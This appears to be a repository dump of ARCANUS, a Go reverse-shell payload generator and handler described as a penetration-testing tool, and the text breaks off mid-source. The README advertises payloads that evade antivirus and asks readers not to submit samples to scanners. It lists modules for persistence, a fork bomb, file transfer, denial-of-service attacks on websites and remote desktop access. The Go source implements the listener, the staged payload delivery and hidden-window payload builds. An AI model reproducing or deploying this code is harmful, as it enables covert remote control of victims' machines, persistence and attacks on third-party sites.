├── ARCANUS ├── ARCANUS.exe ├── LICENSE ├── README.md ├── SOURCE ├── ARCANUS.go └── Update.go ├── Update └── Update.exe /ARCANUS: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/EgeBalci/ARCANUS/7050f66cd3a0d23d9d3217279307f5e775d4729d/ARCANUS -------------------------------------------------------------------------------- /ARCANUS.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/EgeBalci/ARCANUS/7050f66cd3a0d23d9d3217279307f5e775d4729d/ARCANUS.exe -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2016 Ege Balcı 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ARCANUS [![License](https://img.shields.io/github/license/mashape/apistatus.svg?maxAge=2592000)](https://raw.githubusercontent.com/EgeBalci/ARCANUS/master/LICENSE) [![Donate](https://img.shields.io/badge/Donate-Patreon-green.svg)](http://patreon.com/user?u=3556027) [![Golang](https://img.shields.io/badge/Go-1.6-blue.svg)](https://golang.org) 2 | 3 | ARCANUS is a customized payload generator/handler for penetration testing only.(Use at your own risk !). 4 | 5 | # Warning 6 | This is the final release of ARCANUS, i will not continue developping this project i just keep it here for archival purposes. 7 | 8 | 9 | For Assistance : arcanusframework@gmail.com 10 | 11 | 12 | # WHY USE ARCANUS ? 13 | In pentest community Metasploit is the mainstream for this job, but ARCANUS has few advantages. 14 | 15 | - ARCANUS generates a unique payload for windows and linux systems that can't be detected with majority of antivirus programs. (Don't give any samples to Virus Total or similar web sites to keep it that way ;D ) 16 | 17 | - It has extra modules for exploitation. Ordinary reverse shell payloads offers only remote access to command prompts but ARCANUS has few special commands like " £persistence, £download, £upload, £meterpreter..." 18 | 19 | - It is silent and continuous. Metasploit payloads attempts to connect remote host just for ones but when you execute ARCANUS payloads they makes connection attemps every 5 second silently in background. 20 | 21 | - It is flexible. If you want to use it with Metasploit it has a meterpreter module for executeing meterpreter shellcodes on remote machine. 22 | 23 | - Platform independent ! ARCANUS works both on windows and linux. 24 | 25 | 26 | # HOW TO USE 27 | 28 | - In order to build/compile or run the go script you need to install golang and " fatih/color " package OR you can run the windows/linux binarys directy but you still need to install golang to your system inorder to compile ARCANUS payloads. 29 | 30 | 31 | It works same as every reverse shell but it has some special module commands. 32 | (You can also use ARCANUS paylaods with netcat, but you can't execute special commands with netcat.) 33 | 34 | 35 | How to use : https://www.youtube.com/watch?v=BXYqeTs5RIE 36 | 37 | How to get meterpreter session : https://www.youtube.com/watch?v=vQUbD6Ro2Ug 38 | 39 | 40 | 41 | 42 | 43 | 44 | [ COMMAND ] [DESCRIPTION] 45 | 46 | 47 | (*) £METERPRETER -C: This command executes given powershell 48 | meterpreter shellcode for metasploit 49 | integration. 50 | 51 | 52 | (*) £PERSISTENCE: This command installs a persistence module 53 | to remote computer for continious acces. 54 | 55 | 56 | (*) £DISTRACT: This command executes a fork bomb bat file to 57 | distrackt the remote user. 58 | 59 | 60 | (*) £UPLOAD -F "filename.exe": This command uploads a choosen file to 61 | remote computer via tcp socket stream. 62 | 63 | 64 | (*) £UPLOAD -G "http://filepath/filename.exe": This command uploads a choosen file to 65 | remote computer via http get method. 66 | 67 | 68 | (*) £DOWNLOAD -F "filename.exe": This command download a choosen file 69 | from remote computer via tcp socket stream. 70 | 71 | 72 | (*) £DOS -A \"www.site.com\": This command starts a denial of service atack to 73 | given website address. 74 | 75 | 76 | (*) £PLEASE "any command": This command asks users comfirmation for 77 | higher privilidge operations. 78 | 79 | 80 | (*) £DESKTOP This command adjusts remote desktop options 81 | for remote connection on target machine 82 | 83 | 84 | 85 | # ANTIVIRUS AWARENESS 86 | 87 | Please don't submit any payload samples to any antivirus sites or online forums. I will publish manual AV Scan detection scores continuously. 88 | 89 | File Name: Payload.exe 90 | 91 | File Size: 5.29 MB 92 | 93 | Scan Date: 10:06:12 | 06/07/2016 94 | 95 | Detected by: 0/35 96 | 97 | MD5: 62d7f426e9961e09d5653d2b0c68dbb2 98 | SHA256: 730391a1c8d639d4e98ef8249d62299567fbce9a9d35de62f6a966555e4935f3 99 | Verified By NoDistribute: http://NoDistribute.com/result/D7FExfh3OMktPism0wdo4AlICZ5Nyq 100 | 101 | - A-Squared: Clean 102 | - Ad-Aware: Clean 103 | - Avast: Clean 104 | - AVG Free: Clean 105 | - Avira: Clean 106 | - BitDefender: Clean 107 | - BullGuard: Clean 108 | - Clam Antivirus: Clean 109 | - Comodo Internet Security: Clean 110 | - Dr.Web: Clean 111 | - ESET NOD32: Clean 112 | - eTrust-Vet: Clean 113 | - F-PROT Antivirus: Clean 114 | - F-Secure Internet Security: Clean 115 | - FortiClient: Clean 116 | - G Data: Clean 117 | - IKARUS Security: Clean 118 | - K7 Ultimate: Clean 119 | - Kaspersky Antivirus: Clean 120 | - McAfee: Clean 121 | - MS Security Essentials: Clean 122 | - NANO Antivirus: Clean 123 | - Norman: Clean 124 | - Norton Antivirus: Clean 125 | - Panda CommandLine: Clean 126 | - Panda Security: Clean 127 | - Quick Heal Antivirus: Clean 128 | - Solo Antivirus: Clean 129 | - Sophos: Clean 130 | - SUPERAntiSpyware: Clean 131 | - Trend Micro Internet Security: Clean 132 | - Twister Antivirus: Clean 133 | - VBA32 Antivirus: Clean 134 | - VIPRE: Clean 135 | - Zoner AntiVirus: Clean 136 | 137 | 138 | 139 | # NOTE 140 | 141 | - Using persistence may attract some Anti Virus software... 142 | - 143 | 144 | ![](http://i.imgur.com/8L1wmjo.png) 145 | 146 | ![](http://i.imgur.com/N2bhpR9.jpg) 147 | 148 | Bitcoin: 16GvMV7eZH22p4rLQuu8h2gbgSLYr11KBM 149 | -------------------------------------------------------------------------------- /SOURCE/ARCANUS.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import "net" 4 | import "time" 5 | import "net/http" 6 | import "fmt" 7 | import "bufio" 8 | import "os" 9 | import "strings" 10 | import "runtime" 11 | import "io" 12 | import "io/ioutil" 13 | import "encoding/base64" 14 | import "github.com/fatih/color" 15 | import "os/exec" 16 | import "path/filepath" 17 | 18 | var SysGuide []string 19 | var GLOBAL__Command string 20 | var Menu_Selector int 21 | var Listen_Port string 22 | var Payload PAYLOAD 23 | var Conn_Point *net.Conn 24 | 25 | const BUFFER_SIZE int = 1024 26 | const VERSION string = "1.5.6" 27 | 28 | 29 | type PAYLOAD struct { 30 | Ip string 31 | Port string 32 | Type string 33 | } 34 | 35 | func main() { 36 | 37 | CLEAR_SCREEN() 38 | BANNER() 39 | MAIN_MENU() 40 | fmt.Scan(&Menu_Selector) // Main Menu 41 | 42 | for { 43 | if Menu_Selector == 1 { 44 | CLEAR_SCREEN() 45 | BANNER() 46 | PAYLOAD_MENU() 47 | fmt.Scan(&Menu_Selector) // Payload Menu 48 | if Menu_Selector == 1 { 49 | Payload.Type = "Windows" 50 | }else if Menu_Selector == 2 { 51 | Payload.Type = "Linux" 52 | }else if Menu_Selector == 3 { 53 | Payload.Type = "Stager_Windows" 54 | }else if Menu_Selector == 4 { 55 | Payload.Type = "Stager_Linux" 56 | } 57 | fmt.Print("\nEnter Listening Port: ") 58 | fmt.Scan(&Listen_Port) 59 | if Payload.Type == "Stager_Windows" { 60 | GENERATE_WINDOWS_PAYLOAD() 61 | }else if Payload.Type == "Stager_Linux" { 62 | GENERATE_LINUX_PAYLOAD() 63 | } 64 | CLEAR_SCREEN() 65 | BANNER() 66 | color.Yellow("\n[*] Port:"+string(Listen_Port)) 67 | break 68 | }else if Menu_Selector == 2 { 69 | Payload.Type = "Windows" 70 | CLEAR_SCREEN() 71 | BANNER() 72 | fmt.Print("\nEnter Listening Ip: ") 73 | fmt.Scan(&Payload.Ip) 74 | fmt.Print("\nEnter Listening Port: ") 75 | fmt.Scan(&Payload.Port) 76 | Listen_Port = Payload.Port 77 | GENERATE_WINDOWS_PAYLOAD() 78 | CLEAR_SCREEN() 79 | BANNER() 80 | if runtime.GOOS == "windows" { 81 | dir, _ := filepath.Abs(filepath.Dir(os.Args[0])); 82 | color.Green("\n[+] Payload generated at "+string(dir)) 83 | color.Yellow("\n[*] Port:"+string(Listen_Port)) 84 | }else if runtime.GOOS == "linux" { 85 | dir, _ := filepath.Abs(filepath.Dir(os.Args[0])); 86 | color.Green("\n[+] Payload generated at "+string(dir)) 87 | color.Yellow("\n[*] Port:"+string(Listen_Port)) 88 | } 89 | break 90 | }else if Menu_Selector == 3 { 91 | Payload.Type = "Linux" 92 | CLEAR_SCREEN() 93 | BANNER() 94 | fmt.Print("\nEnter Listening Ip: ") 95 | fmt.Scan(&Payload.Ip) 96 | fmt.Print("\nEnter Listening Port: ") 97 | fmt.Scan(&Payload.Port) 98 | Listen_Port = Payload.Port 99 | GENERATE_LINUX_PAYLOAD() 100 | CLEAR_SCREEN() 101 | BANNER() 102 | if runtime.GOOS == "windows" { 103 | dir, _ := filepath.Abs(filepath.Dir(os.Args[0])); 104 | color.Green("\n[+] Payload generated at "+string(dir)) 105 | color.Yellow("\n[*] Port:"+string(Listen_Port)) 106 | }else if runtime.GOOS == "linux" { 107 | dir, _ := filepath.Abs(filepath.Dir(os.Args[0])); 108 | color.Green("\n[+] Payload generated at "+string(dir)) 109 | color.Yellow("\n[*] Port:"+string(Listen_Port)) 110 | } 111 | break 112 | }else if Menu_Selector == 4 { 113 | Payload.Type = "Stager_Windows" 114 | CLEAR_SCREEN() 115 | BANNER() 116 | fmt.Print("\nEnter Listening Ip: ") 117 | fmt.Scan(&Payload.Ip) 118 | fmt.Print("\nEnter Listening Port: ") 119 | fmt.Scan(&Payload.Port) 120 | Listen_Port = Payload.Port 121 | GENERATE_WINDOWS_STAGER_PAYLOAD() 122 | CLEAR_SCREEN() 123 | BANNER() 124 | if runtime.GOOS == "windows" { 125 | dir, _ := filepath.Abs(filepath.Dir(os.Args[0])); 126 | color.Green("\n[+] First stage payload generated at "+string(dir)) 127 | color.Yellow("\n[*] Port:"+string(Listen_Port)) 128 | }else if runtime.GOOS == "linux" { 129 | dir, _ := filepath.Abs(filepath.Dir(os.Args[0])); 130 | color.Green("\n[+] First stage payload generated at "+string(dir)) 131 | color.Yellow("\n[*] Port:"+string(Listen_Port)) 132 | } 133 | break 134 | }else if Menu_Selector == 5 { 135 | Payload.Type = "Stager_Linux" 136 | CLEAR_SCREEN() 137 | BANNER() 138 | fmt.Print("\nEnter Listening Ip: ") 139 | fmt.Scan(&Payload.Ip) 140 | fmt.Print("\nEnter Listening Port: ") 141 | fmt.Scan(&Payload.Port) 142 | Listen_Port = Payload.Port 143 | GENERATE_LINUX_STAGER_PAYLOAD() 144 | CLEAR_SCREEN() 145 | BANNER() 146 | if runtime.GOOS == "windows" { 147 | dir, _ := filepath.Abs(filepath.Dir(os.Args[0])); 148 | color.Green("\n[+] First stage payload generated at "+string(dir)) 149 | color.Yellow("\n[*] Port:"+string(Listen_Port)) 150 | }else if runtime.GOOS == "linux" { 151 | dir, _ := filepath.Abs(filepath.Dir(os.Args[0])); 152 | color.Green("\n[+] First stage payload generated at "+string(dir)) 153 | color.Yellow("\n[*] Port:"+string(Listen_Port)) 154 | } 155 | break 156 | }else if Menu_Selector == 6 { 157 | response, err := http.Get("https://raw.githubusercontent.com/EgeBalci/ARCANUS/master/SOURCE/ARCANUS.go"); 158 | if err != nil { 159 | color.Red("\n[!] Update Connection Failed !") 160 | fmt.Println(err) 161 | }; 162 | defer response.Body.Close(); 163 | body, _ := ioutil.ReadAll(response.Body); 164 | if strings.Contains(string(body), string(VERSION)) { 165 | color.Green("\n[+] Arcanus Version Up To Date !") 166 | time.Sleep(2*time.Second) 167 | main() 168 | }else{ 169 | color.Blue("\n[*] New Version Detected !") 170 | var Choice string = "N" 171 | color.Blue("\n[?] Do You Want To Update ? (Y/N) : ") 172 | fmt.Print("\n\n>>") 173 | fmt.Scan(&Choice) 174 | if Choice == "Y" || Choice == "y" { 175 | if runtime.GOOS == "windows" { 176 | color.Yellow("\n[*] Updating ARCANUS...") 177 | exec.Command("cmd", "/C", "Update.exe").Start() 178 | os.Exit(1) 179 | }else if runtime.GOOS == "linux" { 180 | color.Yellow("\n[*] Updating ARCANUS...") 181 | Update, _ := os.Create("Update.sh") 182 | 183 | Update.WriteString("chmod 777 Update\n./Update") 184 | Update.Close() 185 | exec.Command("sh", "-c", "chmod 777 Update && ./Update.sh").Run() 186 | exec.Command("sh", "-c", "./Update.sh").Run() 187 | exec.Command("sh", "-c", "rm Update.sh").Run() 188 | os.Exit(1) 189 | } 190 | }else if Choice == "N" || Choice == "n" { 191 | main() 192 | }else{ 193 | color.Blue("\n[?] Do You Want To Update ? (Y/N) : ") 194 | fmt.Scan(&Choice) 195 | fmt.Print("\n\n>>") 196 | } 197 | } 198 | }else{ 199 | main() 200 | } 201 | } 202 | 203 | 204 | 205 | if Payload.Type == "Stager_Windows" || Payload.Type == "Stager_Linux" { 206 | color.Yellow("\n[*] Listening For Reverse TCP Stager Shell...") 207 | ln, _ := net.Listen("tcp", ":"+Listen_Port) 208 | connect, _ := ln.Accept() 209 | color.Green("[+] Connection Established !") 210 | file, err := os.Open("Payload.exe") 211 | if err != nil { 212 | color.Red("\n[-] Eror while accesing Payload.exe !") 213 | color.Red("\n[*] Put second stage payload on same directory with ARCANUS and rename it \"Payload.exe\" ") 214 | } 215 | color.Yellow("[*] Sending Second Stage Payload...") 216 | io.Copy(connect, file) 217 | color.Green("[+] Payload transfer completed !") 218 | color.Yellow("[*] Executeing Second Stage Payload...") 219 | runtime.GC() 220 | } 221 | 222 | 223 | color.Yellow("\n[*] Listening For Reverse TCP Shell...") 224 | ln, _ := net.Listen("tcp", ":"+Listen_Port) 225 | connect, err := ln.Accept() 226 | if err != nil { 227 | fmt.Println(err) 228 | } 229 | reader := bufio.NewReader(os.Stdin) 230 | var SysInfo = make([]byte, BUFFER_SIZE) 231 | fmt.Print("\x07") // Connection Launched ! 232 | color.Green("\n[+] Connection Established !\n") 233 | connect.Read([]byte(SysInfo)) 234 | SysGuide = strings.Split(string(SysInfo), "£>") 235 | color.Green("\n[+] Remote Address -> " , connect.RemoteAddr()) 236 | 237 | color.Green(string(("\n\n[+] OS Version Captured" + SysGuide[1]))) 238 | 239 | 240 | 241 | if Payload.Type == "Linux" || Payload.Type == "Stager_Linux" { 242 | for { 243 | runtime.GC() 244 | fmt.Print("\n") 245 | fmt.Print("\n") 246 | fmt.Print(string(SysGuide[0]) + ">") 247 | Command, _ := reader.ReadString('\n') 248 | _Command := string(Command) 249 | GLOBAL__Command = _Command 250 | runtime.GC() 251 | var cmd_out []byte 252 | connect.Write([]byte(Command)) 253 | go connect.Read([]byte(cmd_out)) 254 | fmt.Println(string(cmd_out)) 255 | } 256 | } 257 | 258 | for { 259 | 260 | var cmd_out = make([]byte,BUFFER_SIZE) 261 | runtime.GC() 262 | fmt.Print("\n") 263 | fmt.Print("\n") 264 | fmt.Print(string(SysGuide[0]) + ">") 265 | Command, _ := reader.ReadString('\n') 266 | _Command := string(Command) 267 | GLOBAL__Command = _Command 268 | 269 | if strings.Contains(_Command, "£METERPRETER") || strings.Contains(_Command, "£meterpreter") { 270 | color.Green("\n[*] Meterpreter Code Send !") 271 | connect.Write([]byte(Command)) 272 | }else if strings.Contains(_Command, "£desktop") || strings.Contains(_Command, "£DESKTOP") { 273 | if Payload.Type == "Windows" || Payload.Type == "Stager_Windows" { 274 | connect.Write([]byte(Command)) 275 | connect.Read([]byte(cmd_out)) 276 | Command_Output := strings.Split(string(cmd_out), "£>") 277 | if strings.Contains(string(Command_Output[0]), "failed") { 278 | color.Red("\n[-] Remote desktop connection failed ! (Acces denied, The requested operation requires Administration elavation.) ") 279 | }else{ 280 | color.Green("\n[+] Remote desktop connection configurations succesfull !.") 281 | color.Green("\n >>> Remote Address >>> " , connect.RemoteAddr()) 282 | if runtime.GOOS == "windows" { 283 | exec.Command("cmd", "/C", "mstsc").Run() 284 | } 285 | } 286 | }else{ 287 | color.Red("\n[-] This payload type does not support \"REMOTE DESKTOP\" module !") 288 | } 289 | }else if strings.Contains(_Command, "£persistence") || strings.Contains(_Command, "£PERSISTENCE") { 290 | connect.Write([]byte(GLOBAL__Command)) 291 | }else if strings.Contains(_Command, "£help") || strings.Contains(_Command, "£HELP") { 292 | if runtime.GOOS == "windows" { 293 | HELP_SCREEN_WIN() 294 | }else if runtime.GOOS == "linux" { 295 | HELP_SCREEN_LINUX() 296 | } 297 | }else if strings.Contains(_Command, "£upload -f") || strings.Contains(_Command, "£UPLOAD -F") { 298 | connect.Write([]byte(_Command)) 299 | file_name := strings.Split(GLOBAL__Command, "\"") 300 | color.Yellow("\n[*] Uploading ---> "+file_name[1]) 301 | go UPLOAD_VIA_TCP() 302 | }else if strings.Contains(_Command, "£download") || strings.Contains(_Command, "£DOWNLOAD") { 303 | connect.Write([]byte(Command)) 304 | go DOWNLOAD_VIA_TCP() 305 | }else if strings.Contains(_Command, "£DISTRACT") || strings.Contains(_Command, "£distract") { 306 | connect.Write([]byte(Command)) 307 | color.Yellow("\n[*] Preparing fork bomb...") 308 | color.Green("\n[+] Distraction Started !") 309 | }else if strings.Contains(_Command, "£DOS") || strings.Contains(_Command, "£dos") { 310 | DOS_Target := strings.Split(GLOBAL__Command, "\"") 311 | if strings.Contains(DOS_Target[1], "http//") || strings.Contains(DOS_Target[1], "https//") { 312 | connect.Write([]byte(Command)) 313 | color.Yellow("\n[*] Starting DOS Atack to --> "+DOS_Target[1]) 314 | color.Green("\n[+] DOS Atack Started !") 315 | color.Green("\n[+] Sending 1000 GET request to target...") 316 | }else{ 317 | color.Red("\n[-] ERROR: Invalid URL type !") 318 | } 319 | }else{ 320 | connect.Write([]byte(Command)) 321 | for { 322 | connect.Read([]byte(cmd_out)) 323 | if !strings.Contains(string(cmd_out), "£>") { 324 | fmt.Println(string(cmd_out)) 325 | }else{ 326 | Command_Output := strings.Split(string(cmd_out), "£>") 327 | fmt.Println(string(Command_Output[0])) 328 | break 329 | } 330 | } 331 | } 332 | } 333 | } 334 | 335 | 336 | 337 | 338 | func UPLOAD_VIA_TCP() { 339 | ln, _ := net.Listen("tcp", ":55888") 340 | connect, _ := ln.Accept() 341 | file_name := strings.Split(GLOBAL__Command, "\"") 342 | file, err := os.Open(file_name[1]) 343 | if err != nil { 344 | color.Red("Eror while opening file !") 345 | fmt.Println(err) 346 | } 347 | defer file.Close() 348 | io.Copy(connect, file) 349 | color.Green("\n\n[+] File transfer completed !") 350 | fmt.Print("\n") 351 | fmt.Print("\n") 352 | fmt.Print(string(SysGuide[0]) + ">") 353 | connect.Close() 354 | } 355 | 356 | 357 | func DOWNLOAD_VIA_TCP() { 358 | file_name := strings.Split(GLOBAL__Command, "\"") 359 | color.Yellow("\n\n[*] Downloading "+string(file_name[1])) 360 | ln, _ := net.Listen("tcp", ":55888") 361 | connect, _ := ln.Accept() 362 | file, _ := os.Create(file_name[1]) 363 | defer file.Close() 364 | io.Copy(file, connect) 365 | file.Close() 366 | connect.Close() 367 | color.Green("\n[+] File download completed !") 368 | fmt.Print("\n") 369 | fmt.Print("\n") 370 | fmt.Print(string(SysGuide[0]) + ">") 371 | } 372 | 373 | 374 | func BANNER() { 375 | 376 | Green := color.New(color.FgGreen) 377 | BoldGreen := Green.Add(color.Bold) 378 | Yellow := color.New(color.FgYellow) 379 | BoldYellow := Yellow.Add(color.Bold) 380 | Red := color.New(color.FgRed) 381 | BoldRed := Red.Add(color.Bold) 382 | 383 | 384 | if runtime.GOOS == "windows" { 385 | color.Red(" ___ ______ _____ ___ _ _ _ _ _____ ") 386 | color.Red(" / _ \\ | ___ \\/ __ \\ / _ \\ | \\ | | | | / ___|") 387 | color.Red(" / /_\\ \\| |_/ /| / \\// /_\\ \\| \\| | | | \\ `--. ") 388 | color.Red(" | _ || / | | | _ || . ` | | | |`--. \\") 389 | color.Red(" | | | || |\\ \\ | \\__/\\| | | || |\\ | |_| /\\__/ /") 390 | color.Red(" \\_| |_/\\_| \\_| \\____/\\_| |_/\\_| \\_/\\___/\\____/ ") 391 | color.Green("\n\n+ -- --=[ ARCANUS FRAMEWORK ]") 392 | color.Green("+ -- --=[ Version: "+VERSION+" ]") 393 | color.Green("+ -- --=[ Support: arcanusframework@gmail.com ]") 394 | color.Green("+ -- --=[ Created By Ege Balcı ]") 395 | }else if runtime.GOOS == "linux" { 396 | BoldRed.Println(" _______ _______ _______ _______ _ _______ ") 397 | BoldRed.Println(" ( ___ )( ____ )( ____ \\( ___ )( ( /||\\ /|( ____ \\") 398 | BoldRed.Println(" | ( ) || ( )|| ( \\/| ( ) || \\ ( || ) ( || ( \\/") 399 | BoldRed.Println(" | (___) || (____)|| | | (___) || \\ | || | | || (_____ ") 400 | BoldRed.Println(" | ___ || __)| | | ___ || (\\ \\) || | | |(_____ )") 401 | BoldRed.Println(" | ( ) || (\\ ( | | | ( ) || | \\ || | | | ) |") 402 | BoldRed.Println(" | ) ( || ) \\ \\__| (____/\\| ) ( || ) \\ || (___) |/\\____) |") 403 | BoldRed.Println(" |/ \\||/ \\__/(_______/|/ \\||/ )_)(_______)\\_______)") 404 | 405 | color.Green("\n\n+ -- --=[ ARCANUS FRAMEWORK ]") 406 | color.Green("+ -- --=[ Version: "+VERSION+" ]") 407 | color.Green("+ -- --=[ Support: arcanusframework@gmail.com ]") 408 | color.Green("+ -- --=[ Ege Balcı ]") 409 | 410 | } 411 | } 412 | 413 | func CLEAR_SCREEN() { 414 | if runtime.GOOS == "windows" { 415 | Clear := exec.Command("cmd", "/C", "cls") 416 | Clear.Stdout = os.Stdout 417 | Clear.Run() 418 | }else if runtime.GOOS == "linux" { 419 | Clear := exec.Command("clear") 420 | Clear.Stdout = os.Stdout 421 | Clear.Run() 422 | } 423 | } 424 | 425 | func GENERATE_WINDOWS_PAYLOAD() { 426 | Payload.Ip = string("\""+Payload.Ip+"\";") 427 | Payload.Port = string("\""+Payload.Port+"\";") 428 | Payload_Source, err := os.Create("Payload.go") 429 | if err != nil { 430 | fmt.Println(err) 431 | } 432 | runtime.GC() 433 | 434 | WINDOWS_PAYLOAD, _ := base64.StdEncoding.DecodeString(WIN_PAYLOAD) 435 | 436 | Index := strings.Replace(string(WINDOWS_PAYLOAD), "\"127.0.0.1\";", Payload.Ip, -1) 437 | Index = strings.Replace(Index, "\"8552\";", Payload.Port, -1) 438 | Payload_Source.WriteString(Index) 439 | runtime.GC() 440 | 441 | if runtime.GOOS == "windows" { 442 | 443 | Builder, err := os.Create("Build.bat") 444 | if err != nil { 445 | fmt.Println(err) 446 | } 447 | Build_Code := string("go build -ldflags \"-H windowsgui -s\" Payload.go ") 448 | Builder.WriteString(Build_Code) 449 | runtime.GC() 450 | exec.Command("cmd", "/C", "Build.bat").Run() 451 | runtime.GC() 452 | exec.Command("cmd", "/C", " del Build.bat").Run() 453 | runtime.GC() 454 | exec.Command("cmd", "/C", "del Payload.go").Run() 455 | runtime.GC() 456 | }else if runtime.GOOS == "linux" { 457 | exec.Command("sh", "-c", "export GOOS=windows && export GOARCH=386 && go build -ldflags \"-H windowsgui -s\" Payload.go").Run() 458 | runtime.GC() 459 | exec.Command("sh", "-c", "rm Payload.go").Run() 460 | } 461 | } 462 | 463 | 464 | 465 | func GENERATE_LINUX_PAYLOAD() { 466 | Payload.Ip = string("\""+Payload.Ip+"\";") 467 | Payload.Port = string("\""+Payload.Port+"\";") 468 | Payload_Source, err := os.Create("Payload.go") 469 | if err != nil { 470 | fmt.Println(err) 471 | } 472 | runtime.GC() 473 | 474 | Linux_Payload, _ := base64.StdEncoding.DecodeString(LINUX_PAYLOAD) 475 | 476 | Index := strings.Replace(string(Linux_Payload), "\"127.0.0.1\";", Payload.Ip, -1) 477 | Index = strings.Replace(Index, "\"8552\";", Payload.Port, -1) 478 | Payload_Source.WriteString(Index) 479 | runtime.GC() 480 | 481 | if runtime.GOOS == "windows" { 482 | 483 | Builder, err := os.Create("Build.bat") 484 | if err != nil { 485 | fmt.Println(err) 486 | } 487 | var Build_Code = ` 488 | set GOOS=linux 489 | set GOARCH=386 490 | go build Payload.go 491 | set GOOS=windows 492 | set GOARCH=amd64 493 | ` 494 | Builder.WriteString(Build_Code) 495 | runtime.GC() 496 | exec.Command("cmd", "/C", "Build.bat").Run() 497 | runtime.GC() 498 | exec.Command("cmd", "/C", " del Build.bat").Run() 499 | runtime.GC() 500 | exec.Command("cmd", "/C", "del Payload.go").Run() 501 | runtime.GC() 502 | }else if runtime.GOOS == "linux" { 503 | 504 | exec.Command("sh", "-c", "go build Payload.go").Run() 505 | runtime.GC() 506 | exec.Command("sh", "-c", "rm Payload.go").Run() 507 | } 508 | } 509 | 510 | func GENERATE_WINDOWS_STAGER_PAYLOAD() { 511 | go GENERATE_WINDOWS_PAYLOAD() 512 | Stager_Payload_Ip := string("\""+Payload.Ip+"\";") 513 | Stager_Payload_Port := string("\""+Payload.Port+"\";") 514 | Payload_Source, err := os.Create("Stage_1.go") 515 | if err != nil { 516 | fmt.Println(err) 517 | } 518 | runtime.GC() 519 | 520 | WIN_STAGER, _ := base64.StdEncoding.DecodeString(WIN_STAGER_PAYLOAD) 521 | 522 | Index := strings.Replace(string(WIN_STAGER), "\"127.0.0.1\";", Stager_Payload_Ip, -1) 523 | Index = strings.Replace(Index, "\"8552\";", Stager_Payload_Port, -1) 524 | Payload_Source.WriteString(Index) 525 | runtime.GC() 526 | 527 | if runtime.GOOS == "windows" { 528 | 529 | Builder, err := os.Create("Build_Stager.bat") 530 | if err != nil { 531 | fmt.Println(err) 532 | } 533 | Build_Code := string("go build -ldflags \"-s -H windowsgui\" Stage_1.go ") 534 | Builder.WriteString(Build_Code) 535 | runtime.GC() 536 | Build_Stager := exec.Command("cmd", "/C", "Build_Stager.bat"); 537 | Build_Stager.Run() 538 | runtime.GC() 539 | Del_Stager := exec.Command("cmd", "/C", "del Stage_1.go"); 540 | Del_Stager.Run() 541 | runtime.GC() 542 | Del_Stager_2 := exec.Command("cmd", "/C", "del Build_Stager.bat"); 543 | Del_Stager_2.Run() 544 | runtime.GC() 545 | }else if runtime.GOOS == "linux" { 546 | exec.Command("sh", "-c", "export GOOS=windows && export GOARCH=386 && go build -ldflags \"-s -H windowsgui\" Stage_1.go").Run() 547 | runtime.GC() 548 | exec.Command("sh", "-c", "rm Stage_1.go").Run() 549 | runtime.GC() 550 | } 551 | } 552 | 553 | 554 | func GENERATE_LINUX_STAGER_PAYLOAD() { 555 | go GENERATE_LINUX_PAYLOAD() 556 | Stager_Payload_Ip := string("\""+Payload.Ip+"\";") 557 | Stager_Payload_Port := string("\""+Payload.Port+"\";") 558 | Payload_Source, err := os.Create("Stage_1.go") 559 | if err != nil { 560 | fmt.Println(err) 561 | } 562 | runtime.GC() 563 | 564 | LINUX_STAGER, _ := base64.StdEncoding.DecodeString(LINUX_STAGER_PAYLOAD) 565 | 566 | Index := strings.Replace(string(LINUX_STAGER), "\"127.0.0.1\";", Stager_Payload_Ip, -1) 567 | Index = strings.Replace(Index, "\"8552\";", Stager_Payload_Port, -1) 568 | Payload_Source.WriteString(Index) 569 | runtime.GC() 570 | 571 | if runtime.GOOS == "windows" { 572 | 573 | Builder, err := os.Create("Build_Stager.bat") 574 | if err != nil { 575 | fmt.Println(err) 576 | } 577 | Build_Code := ` 578 | SET GOOS=linux 579 | SET GOARCH=386 580 | go build Stage_1.go` 581 | Builder.WriteString(Build_Code) 582 | runtime.GC() 583 | Build_Stager := exec.Command("cmd", "/C", "Build_Stager.bat"); 584 | Build_Stager.Run() 585 | runtime.GC() 586 | Del_Stager := exec.Command("cmd", "/C", "del Stage_1.go"); 587 | Del_Stager.Run() 588 | runtime.GC() 589 | Del_Stager_2 := exec.Command("cmd", "/C", "del Build_Stager.bat"); 590 | Del_Stager_2.Run() 591 | runtime.GC() 592 | }else if runtime.GOOS == "linux" { 593 | exec.Command("sh", "-c", "go build Stage_1.go").Run() 594 | runtime.GC() 595 | exec.Command("sh", "-c", "rm Stage_1.go").Run() 596 | runtime.GC() 597 | } 598 | } 599 | 600 | 601 | 602 | func MAIN_MENU() { 603 | 604 | color.Yellow("\n [1] START LISTENING") 605 | color.Yellow("\n [2] GENERATE WINDOWS PAYLOAD (4.5 Mb)") 606 | color.Yellow("\n [3] GENERATE LINUX PAYLOAD (3.6 Mb)") 607 | color.Yellow("\n [4] GENERATE STAGER WINDOWS PAYLOAD (2.0 Mb)") 608 | color.Yellow("\n [5] GENERATE STAGER LINUX PAYLOAD (2.0 Mb)") 609 | color.Yellow("\n [6] UPDATE") 610 | fmt.Print("\n\n>>") 611 | } 612 | 613 | 614 | func PAYLOAD_MENU() { 615 | 